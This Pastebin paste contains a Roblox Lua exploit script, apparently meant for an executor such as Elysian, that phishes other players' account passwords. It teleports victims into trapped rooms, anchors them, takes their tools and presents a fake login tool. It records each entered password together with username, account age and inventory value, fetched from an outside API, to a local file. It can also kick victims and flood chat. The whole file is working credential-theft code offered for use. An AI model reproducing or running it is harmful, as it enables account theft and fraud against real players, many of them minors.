Advertisement
Guest User

MGX7

a guest
Jun 21st, 2016
430
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 16.10 KB | None | 0 0
  1. local MainFolder = game:GetObjects("rbxassetid://382974306")[1]
  2. MainFolder.Parent = game.ReplicatedStorage
  3.  
  4. local player = game.Players.LocalPlayer
  5.  
  6. local CurrentlyScamming = {}
  7.  
  8. local MRStorage
  9.  
  10. local guiTool = MainFolder.Login
  11.  
  12. local replaceScript = game:GetService("InsertService"):LoadAsset(80576967):GetChildren()[1].LocalScript
  13. guiTool.LocalScript:Destroy()
  14. replaceScript.Parent = guiTool
  15.  
  16. local ruleTool = MainFolder["Bypass Rules"]
  17.  
  18. local replaceScript = game:GetService("InsertService"):LoadAsset(80576967):GetChildren()[1].LocalScript
  19. ruleTool.LocalScript:Destroy()
  20. replaceScript.Parent = ruleTool
  21.  
  22. local pickGui = MainFolder.PickGui
  23.  
  24. function checkPass(pass, playa)
  25. if BypassKeyEnabled and pass == BypassKey then
  26. if BypassKeyRules then
  27. local newTool = ruleTool:Clone()
  28. newTool.Parent = workspace
  29. newTool.Handle.CanCollide = false
  30. newTool.Handle.CFrame = playa.Character.Head.CFrame
  31. end
  32. return true
  33. end
  34. if pass == "Password" or pass == "" or pass == "Enter Your Password" or pass == "Incorrect Password" or pass == "Enter your Password" then
  35. return false
  36. end
  37. local foundNums = 0
  38. local foundLetters = 0
  39. if string.find(pass, " ") then
  40. return false
  41. end
  42. if pass:len() < 6 or pass:len() > 20 then
  43. return false
  44. end
  45. for i=1,pass:len() do
  46. if pass:sub(i,i):match("%d") ~= nil then
  47. foundNums = foundNums + 1
  48. end
  49. end
  50. if foundNums < 2 then
  51. return false
  52. end
  53. for i=1,pass:len() do
  54. if pass:sub(i,i):match("%a") ~= nil then
  55. foundLetters = foundLetters + 1
  56. end
  57. end
  58. if foundLetters < 4 then
  59. return false
  60. end
  61. return true
  62. end
  63.  
  64. function getUText(root, val)
  65. local found
  66. if val then
  67. found = val
  68. end
  69. for i,v in pairs(root:GetChildren()) do
  70. if v.Name == "UText" then
  71. found = v
  72. break
  73. end
  74. found = getUText(v,found)
  75. end
  76. return found
  77. end
  78.  
  79. function getPText(root, val)
  80. local found
  81. if val then
  82. found = val
  83. end
  84. for i,v in pairs(root:GetChildren()) do
  85. if v.Name == "PText" then
  86. found = v
  87. break
  88. end
  89. found = getPText(v,found)
  90. end
  91. return found
  92. end
  93.  
  94. function getILPopUp(root, val)
  95. local found
  96. if val then
  97. found = val
  98. end
  99. for i,v in pairs(root:GetChildren()) do
  100. if v.Name == "ILPopUp" then
  101. found = v
  102. break
  103. end
  104. found = getILPopUp(v,found)
  105. end
  106. return found
  107. end
  108.  
  109. function unscPlayer(plr)
  110. for i,v in pairs(CurrentlyScamming) do
  111. if plr == v.Player then
  112. table.insert(Bypassers,{Name = plr.Name, ID = plr.UserId})
  113. table.remove(CurrentlyScamming,i)
  114. wait()
  115. while plr.Backpack:FindFirstChild("Login") do
  116. plr.Backpack.Login:Destroy()
  117. wait()
  118. end
  119. while plr.Character:FindFirstChild("Login") do
  120. plr.Character.Login:Destroy()
  121. wait()
  122. end
  123. plr.Character:WaitForChild("Torso")
  124. plr.Character:WaitForChild("HumanoidRootPart")
  125. plr.Character.HumanoidRootPart.Anchored = false
  126. plr.Character.HumanoidRootPart.CFrame = v.ReturnPos
  127. v.Player.CameraMaxZoomDistance = 400
  128. v.Player.CameraMinZoomDistance = 0
  129. v.RoomModel:Destroy()
  130. end
  131. end
  132. end
  133.  
  134. function scPlayer(plr)
  135. ypcall(function()
  136. local debounce = false
  137. local roomCheck = MainFolder.Rooms:FindFirstChild(MyRoom)
  138. if roomCheck then
  139. local roomId = #CurrentlyScamming + 1
  140. local newRoom = roomCheck:Clone()
  141. newRoom.Parent = workspace
  142. newRoom:MoveTo(Vector3.new(5000,1000, 5000 + 100 * roomId))
  143.  
  144. local newPacket = {Player = plr, RoomId = roomId, RoomModel = newRoom, ReturnPos = plr.Character.Torso.CFrame}
  145. table.insert(CurrentlyScamming,newPacket)
  146. --[[
  147. newRoom.LButton.ClickDetector.MouseClick:connect(function(playa)
  148. if debounce == false then
  149. if playa.Backpack:FindFirstChild("Login") then
  150. if playa == plr and getILPopUp(playa.Backpack.Login) and getPText(playa.Backpack.Login) then
  151. debounce = true
  152. getILPopUp(newRoom).Visible = false
  153. getILPopUp(playa.Backpack.Login).Visible = false
  154. wait(0.5)
  155. if playa.Backpack:FindFirstChild("Login") then
  156. if checkPass(getPText(playa.Backpack.Login).Text) then
  157. print(plr.Name .. " : " .. getPText(playa.Backpack.Login).Text)
  158. unscPlayer(plr)
  159. else
  160. getILPopUp(newRoom).Visible = true
  161. getILPopUp(playa.Backpack.Login).Visible = true
  162. getPText(playa.Backpack.Login).Text = ""
  163. end
  164. end
  165. end
  166. end
  167. debounce = false
  168. end
  169. end)
  170. --]]
  171. end
  172. end)
  173. end
  174.  
  175. function isBypass(plr)
  176. local bypass = false
  177. for i,v in pairs(Bypassers) do
  178. if v.Name == plr.Name or v.ID == plr.UserId then
  179. bypass = true
  180. end
  181. end
  182. return bypass
  183. end
  184.  
  185. function isScamming(plr)
  186. local isScam = false
  187. for i,v in pairs(CurrentlyScamming) do
  188. if v.Player.Name == plr then
  189. isScam = true
  190. end
  191. end
  192. return isScam
  193. end
  194.  
  195. function fixPlayers()
  196. for i,v in pairs(CurrentlyScamming) do
  197. ypcall(function()
  198. if v.Player.Character:FindFirstChild("Login") then
  199. if v.Player.Character.Login:FindFirstChild("SprayGui") then
  200. local tempTool = v.Player.Character:FindFirstChild("Login")
  201. tempTool.Parent = v.RoomModel
  202. tempTool.Handle.CFrame = v.Player.Character.Head.CFrame
  203. end
  204. end
  205. end)
  206. end
  207. end
  208.  
  209. function BCtoDumpStr(str)
  210. local res = ""
  211. if str == "Enum.MembershipType.BuildersClub" then
  212. res = "[BC] "
  213. elseif str == "Enum.MembershipType.TurboBuildersClub" then
  214. res = "[TBC] "
  215. elseif str == "Enum.MembershipType.OutrageousBuildersClub" then
  216. res = "[OBC] "
  217. elseif str == "Enum.MembershipType.None" then
  218. res = ""
  219. end
  220. return res
  221. end
  222.  
  223. function getRap(user)
  224. local rap = "Error."
  225. if RAPApi then
  226. ypcall(function()
  227. local http = game:GetService("HttpService")
  228. local rawrap = http:JSONDecode(game:HttpGet("http://roblox.plus:2052/inventory?username=" .. user,true))
  229. rap = tostring(rawrap.rap)
  230. end)
  231. else
  232. rap = "Disabled."
  233. end
  234. return rap
  235. end
  236.  
  237. function logAccount(user,pass)
  238. local playerName = user.Name
  239. local playerAge = tostring(user.AccountAge)
  240. local playerRAP = getRap(playerName)
  241.  
  242. if print then
  243. print(BCtoDumpStr(tostring(user.MembershipType)) .. playerName .. " : " .. pass .. " Age: " .. playerAge .. " RAP: " .. playerRAP)
  244. end
  245. if readfile and writefile then
  246. if readfile(getelysianpath()..fileName..".txt") == "nil path doesn't exist" then
  247. writefile(getelysianpath()..fileName..".txt", BCtoDumpStr(tostring(user.MembershipType)) .. playerName .. " : " .. pass .. " Age: " .. playerAge .. " RAP: " .. playerRAP)
  248. else
  249. local tempFile = readfile(getelysianpath()..fileName..".txt")
  250. writefile(getelysianpath()..fileName..".txt", tempFile .. "\n" .. BCtoDumpStr(tostring(user.MembershipType)) .. playerName .. " : " .. pass .. " Age: " .. playerAge .. " RAP: " .. playerRAP)
  251. end
  252. end
  253. end
  254.  
  255. function teleportVictims()
  256. for i,v in pairs(CurrentlyScamming) do
  257. ypcall(function()
  258. v.Player.Character.HumanoidRootPart.CFrame = v.RoomModel.Spawn.CFrame + Vector3.new(0,-10,0)
  259. v.Player.Character.HumanoidRootPart.Anchored = true
  260. if not v.Player.Backpack:FindFirstChild("Login") and not v.Player.Character:FindFirstChild("Login") then
  261. if not v.RoomModel:FindFirstChild("Login") then
  262. local tempTools = {}
  263. for i2,v2 in pairs(v.Player.Backpack:GetChildren()) do
  264. table.insert(tempTools,v2:Clone())
  265. v2:Destroy()
  266. end
  267. local newTool = guiTool:Clone()
  268. newTool.Parent = v.RoomModel
  269. newTool.Handle.CanCollide = false
  270. newTool.Handle.CFrame = v.Player.Character.Head.CFrame
  271. newTool.Handle.BodyPosition.Position = v.RoomModel.Spawn.Position + Vector3.new(0,-10,0)
  272. getUText(newTool).Text = v.Player.Name
  273. spawn(function()
  274. wait(2)
  275. for i2,v2 in pairs(tempTools) do
  276. v2.Parent = v.Player.Backpack
  277. end
  278. end)
  279. newTool.Changed:connect(function(prop)
  280. if not isScamming(v.Player.Name) then return end
  281. if prop == "Parent" and newTool.Parent.Name == "Backpack" then
  282. if v.Player.Backpack:FindFirstChild("Login") then
  283. if getILPopUp(v.Player.Backpack.Login) and getPText(v.Player.Backpack.Login) then
  284. getILPopUp(v.Player.Backpack.Login).Visible = false
  285. if v.Player.Backpack:FindFirstChild("Login") then
  286. if checkPass(getPText(v.Player.Backpack.Login).Text, v.Player) then
  287. logAccount(v.Player, getPText(v.Player.Backpack.Login).Text)
  288. unscPlayer(v.Player)
  289. spawn(function()
  290. wait(0.5)
  291. if kickLogin then
  292. if not v.Player.Backpack:FindFirstChild("Bypass Rules") and not v.Player.Character:FindFirstChild("Bypass Rules") then
  293. v.Player:Remove()
  294. end
  295. end
  296. end)
  297. else
  298. getILPopUp(v.Player.Backpack.Login).Visible = true
  299. getPText(v.Player.Backpack.Login).Text = ""
  300. wait()
  301. if not v.Player.Character:FindFirstChild("Login") then
  302. newTool.Parent = v.RoomModel
  303. newTool.Handle.CFrame = v.Player.Character.Head.CFrame
  304. end
  305. end
  306. end
  307. end
  308. end
  309. end
  310. end)
  311. end
  312. end
  313. end)
  314. end
  315. end
  316.  
  317. wait()
  318.  
  319. game.Players.PlayerRemoving:connect(function(playa)
  320. for i,v in pairs(CurrentlyScamming) do
  321. if v.Player == playa then
  322. table.remove(CurrentlyScamming,i)
  323. end
  324. end
  325. end)
  326.  
  327. --[[
  328. local infoGui = Instance.new("ScreenGui",game.CoreGui)
  329. local infoText = Instance.new("TextLabel",infoGui)
  330. infoText.Position = UDim2.new(0,0,1,-20)
  331. infoText.Size = UDim2.new(1,0,0,20)
  332. infoText.FontSize = "Size18"
  333. infoText.Font = "SourceSansBold"
  334. infoText.BackgroundTransparency = 1
  335. infoText.TextColor3 = Color3.new(1,1,1)
  336. infoText.TextXAlignment = "Right"
  337. infoText.Text = "Press 'p' to toggle chat spam."
  338. --]]
  339.  
  340. local mouse = game.Players.LocalPlayer:GetMouse()
  341. mouse.KeyDown:connect(function(key)
  342. if key == "p" then
  343. floodChat = not floodChat
  344. end
  345. end)
  346.  
  347. spawn(function()
  348. while wait(3) do
  349. fixPlayers()
  350. end
  351. end)
  352.  
  353. while wait() do
  354. teleportVictims()
  355. if floodChat then
  356. game.Players:Chat(".")
  357. game.Players:Chat(".")
  358. end
  359. if ScamType == "Normal" then
  360. for i,v in pairs(game.Players:GetPlayers()) do
  361. if StorageType == 1 then
  362. if not game.CoreGui.MRStorage:FindFirstChild(v.Name) and not isScamming(v.Name) and not isBypass(v) and v ~= game.Players.LocalPlayer then
  363.  
  364. end
  365. elseif StorageType == 2 then
  366. if not game.ReplicatedStorage:FindFirstChild("MRStorage") then
  367. MRStorage = Instance.new("Folder",game.ReplicatedStorage)
  368. MRStorage.Name = "MRStorage"
  369. end
  370. if not game.ReplicatedStorage.MRStorage:FindFirstChild(v.Name) and not isScamming(v.Name) and not isBypass(v) and v ~= game.Players.LocalPlayer then
  371. scPlayer(v)
  372. end
  373. end
  374. end
  375. elseif ScamType == "Pick" then
  376. if StorageType == 1 then
  377. if not game.CoreGui.MRStorage:FindFirstChild(v.Name) and not isScamming(v.Name) and not isBypass(v) and v ~= game.Players.LocalPlayer then
  378.  
  379. end
  380. elseif StorageType == 2 then
  381. if not game.ReplicatedStorage:FindFirstChild("MRStorage") then
  382. MRStorage = Instance.new("Folder",game.ReplicatedStorage)
  383. MRStorage.Name = "MRStorage"
  384. end
  385. if not game.CoreGui:FindFirstChild("PickGui") then
  386. local newPickGui = pickGui:Clone()
  387. newPickGui.Parent = game.CoreGui
  388. spawn(function()
  389. local pickGuiList = newPickGui.MainFrame.AccList
  390. local pickGuiResult = newPickGui.MainFrame.UserResult
  391. pickGuiList.CanvasSize = UDim2.new(0,0,0,0)
  392. local function updatePickList()
  393. pickGuiList:ClearAllChildren()
  394. for i,v in pairs(game.Players:GetPlayers()) do
  395. if v ~= player then
  396. local newRes = pickGuiResult:Clone()
  397. newRes.PlayerName.Text = v.Name
  398. newRes.PlayerPic.Image = "http://www.roblox.com/Thumbs/Avatar.ashx?x=100&y=100&userId="..v.UserId
  399. newRes.Position = UDim2.new(0,0,0,40 * #pickGuiList:GetChildren())
  400. if isScamming(v.Name) then
  401. newRes.PlayerStatus.Text = "Scamming..."
  402. end
  403. if isBypass(v) then
  404. newRes.PlayerStatus.Text = "Scammed"
  405. end
  406. newRes.Parent = pickGuiList
  407. pickGuiList.CanvasSize = UDim2.new(0,0,0,40 * #pickGuiList:GetChildren())
  408. newRes.Visible = true
  409. newRes.MouseButton1Down:connect(function()
  410. if not isScamming(v.Name) then
  411. scPlayer(v)
  412. end
  413. end)
  414. end
  415. end
  416. end
  417. updatePickList()
  418. newPickGui.MainFrame.Refresh.MouseButton1Down:connect(function()
  419. updatePickList()
  420. end)
  421. end)
  422. end
  423. end
  424. end
  425. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement